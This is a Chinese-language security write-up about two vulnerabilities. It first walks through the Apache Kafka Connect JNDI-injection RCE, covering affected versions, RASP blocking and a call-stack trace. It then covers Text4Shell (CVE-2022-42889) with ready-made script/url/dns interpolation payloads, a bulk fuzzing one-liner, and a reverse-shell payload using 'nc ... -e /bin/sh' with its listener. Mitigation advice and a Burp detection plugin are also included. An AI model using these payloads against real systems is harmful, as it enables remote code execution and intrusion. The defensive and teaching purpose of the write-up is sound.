Apache Kafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS 配置和SASL 协议的任意Kafka客户端,对Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行JNDI 注入来实现远程代码执行。

影响版本

2.4.0<=Apache kafka<=3.3.2

修复方案

更新Apache Kafka至官方最新版本

环境搭建

通过https://github.com/vulhub/vulhub搭建

漏洞复现

exp可参考:

https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml

发起攻击请求:

构造payload ,执行新建/tmp/test.txt文件

image

验证漏洞存在,文件新建成功

image

开启RASP后发起攻击:

在业务优先模式下,RASP会出现JNDI注入的告警,拦截最终的命令执行

image

堆栈信息为

image

在防护模式下将直接在JNDI注入处被拦截

image

堆栈信息为

image

漏洞分析

开始

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Properties)

image

跟进到

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Propertiesorg.apache.kafka.common.serialization.Serializer<K>,org.apache.kafka.common.serialization.Serializer<V>)

image

调用

1
org.apache.kafka.common.utils.Utils#propsToMap

对传入对象进行处理

image

将map型的对象传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Map<java.lang.String,java.lang.Object>org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>)

image

之后调用

1
org.apache.kafka.clients.producer.ProducerConfig#appendSerializerToConfig

image

将返回的newConfigs传入

1
org.apache.kafka.clients.producer.ProducerConfig#ProducerConfig(java.util.Map<java.lang.String,java.lang.Object>)

image

将配置参数传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(org.apache.kafka.clients.producer.ProducerConfig,org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>org.apache.kafka.clients.producer.internals.ProducerMetadata,org.apache.kafka.clients.KafkaClientorg.apache.kafka.clients.producer.internals.ProducerInterceptors<K,V>org.apache.kafka.common.utils.Time)

image

赋值后调用

1
org.apache.kafka.clients.producer.KafkaProducer#newSender

image

image

调用到

1
org.apache.kafka.clients.ClientUtils#createChannelBuilder

image

赋值后调用

1
org.apache.kafka.common.network.ChannelBuilders#clientChannelBuilder

image

这里对值做了一个判断后调用

1
org.apache.kafka.common.network.ChannelBuilders#create

image

image

image

Create方法中得到map型的configs后进行switch,得到SaslChannelBuilder类型channelBuilder的对象,switch结束后调用了

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

image

image

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

进入循环后到

1
org.apache.kafka.common.security.authenticator.LoginManager#acquireLoginManager

image

image

image

判断值后到

1
org.apache.kafka.common.security.authenticator.LoginManager#LoginManager

image

image

跟进到

1
org.apache.kafka.common.security.authenticator.AbstractLogin#login

image

调用

1
javax.security.auth.login.LoginContext#login

image

调用

1
javax.security.auth.login.LoginContext#invokePriv

image

调用

1
javax.security.auth.login.LoginContext#invoke

进行逻辑判断后调用initialize方法

image

image

Initialize中得到userProvider

image

user.provider.url通过jndi提供

image

调用

1
com.sun.security.auth.module.JndiLoginModule#login

image

调用

1
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

image

通过

1
javax.naming.InitialContext#lookup(java.lang.String)

执行userProvider的值

image

image

由于RASP对javax.naming.InitialContext.lookup调用做了防护策略检测,所以会在此处拦截。

Reference

text4shell CVE-2022-42889 poc

text4shell CVE-2022-42889 poc

本文转自雨苁 并作补充

漏洞描述

在 Apache Common Text 包 1.5 到 1.9 中发现了一个存在缺陷的代码执行版本。攻击者从 Apache Commons Text 中包含的过程中成功完成,插值可能被动态定义。服务器应用程序会受到影响(RCE) 和不受远程服务器的隐私接触的影响。

Apache Commons Text 执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找是: – “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值,包括来自远程服务器 如果使用了不受信任的配置值,则在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器的无意接触的影响。

建议用户升级到 Apache Commons Text 1.10.0,默认情况下禁用有问题的插值器。

影响范围

  • 如果您依赖于使用 1.10.0 之前的 commons-text 版本的软件,您可能仍然不会受到攻击:只有当该软件使用StringSubstitutorAPI 而没有正确清理任何不受信任的输入时,您才会受到影响。
  • 如果您自己的软件使用 commons-text,请仔细检查它是否使用StringSubstitutorAPI,而没有正确清理任何不受信任的输入。如果是这样,更新到 1.10.0 可能是一个快速的解决方法,但推荐的解决方案是同时正确验证和清理任何不受信任的输入。

Apache Commons Text 是一个低级库,用于执行各种文本操作,例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。使用字符串替换功能时,一些可用的插值器可以触发网络访问或代码执行。这是有意的,但这也意味着如果应用程序在传递给替换的字符串中包含用户输入而未对其进行适当清理,则攻击者将允许攻击者触发这些插值器。

出于这个原因,Apache Commons Text 团队决定将配置更新为“默认情况下更安全”,从而减轻无法验证输入的影响,并且不会让攻击者访问这些插值器。但是,仍然建议用户谨慎对待不受信任的输入。

我们目前不知道有任何应用程序将不受信任的输入传递给替代者,因此在 Apache Commons Text 1.10.0 之前可能会受到此问题的影响。

此问题与Log4Shell (CVE-2021-44228)不同,因为在 Log4Shell 中,可以从日志消息正文中进行字符串插值,该正文通常包含不受信任的输入。在 Apache Common Text issue 中,相关方法明确用于执行字符串插值并明确记录在案,因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。

漏洞利用条件

为了利用这些漏洞,必须满足以下要求

CVE-2022-42889 poc

1
${script:javascript:java.lang.Runtime.get.Runtime().exec(\''.trim($cmd).'\')}

用有效负载替换参数值:

1
2
3
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

网址

1
2
3
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

Dns

1
2
3
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

批量

有效载荷.txt

1
2
3
4
5
6
7
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ

如何利用 CVE-2022-42889

为了重现攻击,易受攻击的组件部署在 Docker 容器中,可从 EC2 实例访问,该实例将由攻击者控制。使用 netcat (nc) 命令,我们可以打开与易受攻击的应用程序的反向 shell 连接。

易受攻击的 Web 应用程序公开了一个搜索 API,其中查询通过Commons Text 的StringSubstitutor进行插值:

1
http://web.app/text4shell/attack?search=<query>

以下有效载荷可用于利用该漏洞并打开反弹 shell:

1
${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.49.1 9090 -e /bin/sh')}

此有效负载由“${prefix:name}”组成,它触发字符串查找。如上所述,“script”、“dns”和“url”是可以作为前缀来利用漏洞的键。

在发送精心制作的请求之前,我们需要使用 netcat (nc) 命令设置反向 shell 连接以侦听端口 9090

1
nc -nlvp 9090

我们现在可以发送精心制作的请求,URL 对有效负载进行编码,如下所示。

image

我们可以看到攻击者成功打开了与易受攻击的应用程序的连接。

image

现在攻击者可以以 root 身份与易受攻击的机器交互并执行任意代码。

CVE-2022-42889 的影响

根据CVSSv3 系统,它的CRITICAL 严重性得分为 9.8 。

由于易于利用以及在机密性、完整性和可用性方面的巨大潜在影响,严重性至关重要。正如我们在上一节中通过精心设计的请求展示的那样,您可以完全控制易受攻击的系统。

但是,这些漏洞不太可能与之前的 log4shell 和 spring4shell 产生相同的影响。

查看易受攻击的组件,利用的可能性与 Apache Commons Text 库的使用有关。具体来说,只有当它使用一些用户控制的输入实现 StringSubstitutor 对象时,才有可能利用它。这种在生产环境中的实现不像 Log4j 中易受攻击的字符串替换那样普遍。因此,Text4Shell 的大规模影响并不能真正与 Log4Shell 相提并论。

检测和缓解 CVE-2022-42889

如果您受到CVE-2022-42889的影响,您应该将应用程序Apache Commons Text 更新到版本1.10。

burpsuite插件之Text4Shell漏扫扫描器

项目地址:

GitHub:
https://github.com/silentsignal/burp-text4shell

image

插件下载地址:

burp-text4shell.jar

单问题扫描

关于检测功能的注意事项:此插件只会为内置的主动扫描器提供有效负载,因此为了获得最佳覆盖率与性能,您必须正确配置扫描 – 就像任何其他内置或扩展提供的扫描一样.

如果您只想扫描 CVE-2022-42889(而不是 XSS 或 SQLi 等其他东西),这个插件可以实现。

按照以下说明,如果使用作为结果创建的扫描配置,扫描仪将仅对所有插入点执行 Text4Shell 检查。

  1. 创建新扫描时,单击Select from library选项Scan configuration
  2. 选择Audit checks - extensions onlyBurp Suite Pro 2.x 中内置的
  3. 禁用所有其他已注册活动扫描检查的扩展程序(如果适用)(例如 ActiveScan++、反斜杠驱动扫描、Burp Bounty 等),以便仅运行 Text4Shell 扫描程序

建造

执行./gradlew build,您将准备好插件 build/libs/burp-text4shell.jar